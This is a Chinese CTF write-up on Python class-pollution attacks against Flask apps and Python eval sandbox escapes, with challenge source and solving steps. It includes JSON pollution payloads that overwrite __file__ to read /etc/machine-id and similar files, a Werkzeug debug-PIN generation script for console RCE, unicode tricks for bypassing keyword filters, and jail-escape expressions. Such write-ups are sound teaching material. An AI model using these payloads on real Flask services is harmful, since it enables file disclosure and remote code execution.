CTF python原型链污染及沙箱逃逸例题

原型链污染

EzFlask(DASCTF2023七月暑期挑战赛)

源码中有一段merge函数

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

并在/register路由进行了调用

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

然后在/路由中还有一个__file__读取

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

然后dirsearch扫描出来一个console路由,这个是控制台,但是需要PIN

那么很明显了,就是通过修改__file__读取文件,计算PIN码进行RCE

关于如何计算PIN码可以看看这篇文章:Flask框架实现debug模式下计算pin码

因为在源码中有一段

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

所以我们需要对传入的恶意payload进行unicode编码

我们先构造未编码前的payload

{
	"username":"1",
	"password":"1",
	"__init__":{
		"__globals__":{
			"__file__":"/proc/self/cgroup"
		}
	}
}

unicode编码后的:

{
	"username":"1",
	"password":"1",
	"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
		"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{
			"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/proc/self/cgroup"
		}
	}
}

python原型链污染.png

这里我们就污染成功了

python原型链污染1.png

然后我们取cgroup的值为

docker-aec7efb63a2cb8671f0c43f4fa2aa56e943a6b1480fb8454f2ee3df6a266c8cf.scope

这样构造拿到uuid

{
	"username":"1",
	"password":"1",
	"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
		"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{
			"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/sys/class/net/eth0/address"
		}
	}
}

记得把uuid转为十进制

machine-id

{
	"username":"1",
	"password":"1",
	"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
		"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{
			"\u005f\u005f\u0066\u0069\u006c\u0065\u005f\u005f":"/etc/machine-id"
		}
	}
}

最后的脚本

import hashlib
from itertools import chain


probably_public_bits = [
    'root',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]


# This information is here to make it harder for an attacker to
# guess the cookie name.  They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
    '266374425460457',  # str(uuid.getnode()),  /sys/class/net/eth0/address
    # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
    #'96cec10d3d9307792745ec3b85c89620 867ab5d2-4e57-4335-811b-2943c662e936 aec7efb63a2cb8671f0c43f4fa2aa56e943a6b1480fb8454f2ee3df6a266c8cf'
    '96cec10d3d9307792745ec3b85c89620docker-aec7efb63a2cb8671f0c43f4fa2aa56e943a6b1480fb8454f2ee3df6a266c8cf.scope'
]


h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")


cookie_name = f"__wzd{h.hexdigest()[:20]}"


# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]


# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

python原型链污染2.png

访问/console路由,输入PIN码,好的拿到控制台的权限,接下来就是rce

总算拿到flag了

python原型链污染3.png

ezpython(GeekChanlleng 2023)

官方docker:https://github.com/SycloverTeam/GeekChallenge2023/tree/main/Web/ezpython

import json
import os

from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
    def __init__(self):
        self.username=""
        self.password=""
        self.isvip=False

class hhh(User):
    def __init__(self):
        self.username=""
        self.password=""

registered_users=[]
@app.route('/')
def hello_world():  # put application's code here
    return render_template("welcome.html")

@app.route('/play')
def play():
    username=session.get('username')
    if username:
        return render_template('index.html',name=username)
    else:
        return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])
def login():
    if request.method == 'POST':
        username=request.form.get('username')
        password=request.form.get('password')
        user = next((user for user in registered_users if user.username == username and user.password == password), None)
        if user:
            session['username'] = user.username
            session['password']=user.password
            return redirect(url_for('play'))
        else:
            return "Invalid login"
        return redirect(url_for('play'))
    return render_template("login.html")

@app.route('/register',methods=['GET','POST'])
def register():
    if request.method == 'POST':
        try:
            if waf(request.data):
                return "fuck payload!Hacker!!!"
            data=json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "连用户名密码都没有你注册啥呢"
            user=hhh()
            merge(data,user)
            registered_users.append(user)
        except Exception as e:
            return "泰酷辣,没有注册成功捏"
        return redirect(url_for('login'))
    else:
        return render_template("register.html")

@app.route('/flag',methods=['GET'])
def flag():
    user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)
    if user:
        if user.isvip:
            data=request.args.get('num')
            if data:
                if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
                        flag = os.environ.get('geek_flag')
                        return render_template('flag.html',flag=flag)
                else:
                    return "你的数字不对哦!"
            else:
                return "I need a num!!!"
        else:
            return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
    else:
        return "先登录去"

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

if __name__ == '__main__':
    app.run(host="0.0.0.0",port="8888")

解题思路

注意代码中的类与对象关系

class User():
    def __init__(self):
        self.username=""
        self.password=""
        self.isvip=False

class hhh(User): #hhh类继承User类,就是User为hhh的父类
    def __init__(self):
        self.username=""
        self.password=""
 
 user=hhh()

可以通过 类似ssti的方法 拿属性方法 —→ 控制

__class__ : 拿对象的类  
__base__: 拿类的父类

__class__ user—->hhh类

__base__ hhh类—>User类

merge(data,user)进行污染

@app.route('/register',methods=['GET','POST'])
def register():
    if request.method == 'POST':
        try:
            if waf(request.data):
                return "fuck payload!Hacker!!!"
            data=json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "连用户名密码都没有你注册啥呢"
            user=hhh()
            merge(data,user)
            registered_users.append(user)
        except Exception as e:
            return "泰酷辣,没有注册成功捏"
        return redirect(url_for('login'))
    else:
        return render_template("register.html")

现在我们要通过污染user.isvip=true 绕过判断进入 另个判断

if user.isvip:
            data=request.args.get('num')
            if data:
                if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
                        flag = os.environ.get('geek_flag')
                        return render_template('flag.html',flag=flag)
                else:
                    return "你的数字不对哦!"
            else:
                return "I need a num!!!"

**注意:json识别unicode编码**因此可以绕过关键词黑名单

payload: application/json
		{"username":"admin","password":"123","__class__":{"__base__":{"isvip":"True"}}}
isvip unicode编码 \u0069\u0073\u0076\u0069\u0070
绕过 if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
法一:+
 +123456789
法二:全角数字
123456789
注意不能全部都是 全角

反思总结

类似js原型链污染,传递形式类似,都有 merge 覆盖,但不同于js原型链污染

js原型链污染: 控制 父类 没有的属性 向上污染

python原型链污染: 控制 当先类的 属性

沙箱逃逸

calc_jail_beginner(JAIL)[HNCTF 2022 Week1]

连接靶机进入题目

nc node5.anna.nssctf.cn 28565                                                                                                    ─╯

  _     ______      _                              _       _ _ 
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |                                           
              |___/                                            

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> 

签到题,一把梭

open("flag").read()
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> open("flag").read()
Answer: flag=NSSCTF{25df994d-430f-498d-a4dd-ddb660ada60e}

]calc_jail_beginner_level1(JAIL)[HNCTF 2022 Week1]

附件信息

#the function of filter will banned some string ',",i,b
#it seems banned some payload 
#Can u escape it?Good luck!

def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ __ 
 | |              (_)                         (_)     (_) | | |              | /_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
              __/ |                          _/ |                                  
             |___/                          |__/                                                                                      
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

连接靶机进入题目

nc node5.anna.nssctf.cn 28239                                                                                                    ─╯

  _                _                           _       _ _   _                _ __ 
 | |              (_)                         (_)     (_) | | |              | /_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
              __/ |                          _/ |                                  
             |___/                          |__/                                                                                      

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> 

过滤了部分字符,使用chr拼接flag

open(chr(102)+chr(108)+chr(97)+chr(103)).read()
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> open(chr(102)+chr(108)+chr(97)+chr(103)).read()
Answer: flag=NSSCTF{37ce5cec-7057-42d9-97fd-09b4ebc0e443}

lake lake lake(JAIL)[HNCTF 2022 Week1]

附件信息

 #it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>9):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _       _          _       _          _       _        
 | |     | |        | |     | |        | |     | |       
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
 | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

题目描述:

Cool job of u finished level3
Now it's time for level4,Try to leak the key!

连接靶机

nc node5.anna.nssctf.cn 28755                                                                                                    ─╯

  _       _          _       _          _       _        
 | |     | |        | |     | |        | |     | |       
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _  | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 

两个通道1和2,根据题目提示,经尝试发现大概意思是走1获取通关的key,然后拿着key进入2进行验证key,验证成功即可随便输入。

下面来实现

先走1,使用globals()获取全局的变量

> 1
>globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f095fed0a90>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7f096006fd90>, 'backdoor': <function backdoor at 0x7f095ff31fc0>, 'WELCOME': '\n  _       _          _       _          _       _        \n | |     | |        | |     | |        | |     | |       \n | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ \n | |/ _` | |/ / _ \\ | |/ _` | |/ / _ \\ | |/ _` | |/ / _  | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/\n |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___|                                                                                                                                                                     \n', 'input_data': '1'}

得到key为a34af94e88aed5c34fb5ccfe08cd14ab
然后进入2

Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>a34af94e88aed5c34fb5ccfe08cd14ab
>open("flag").read()
flag=NSSCTF{9838237e-fd38-45d4-a82d-f4a8e0c8eca3}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值